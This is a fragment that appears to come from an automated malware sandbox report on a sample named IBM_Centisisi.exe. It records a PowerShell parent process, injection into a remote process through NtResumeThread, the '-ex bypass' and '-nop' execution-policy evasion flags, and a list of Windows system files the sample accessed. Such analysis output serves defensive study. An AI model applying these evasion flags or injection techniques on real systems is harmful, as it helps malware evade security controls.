JAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA=
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\IBM_Centisisi.exe
Process injection Process 2616 resumed a thread in remote process 2704
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000033c
suspend_count: 1
process_identifier: 2704
1 0 0
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe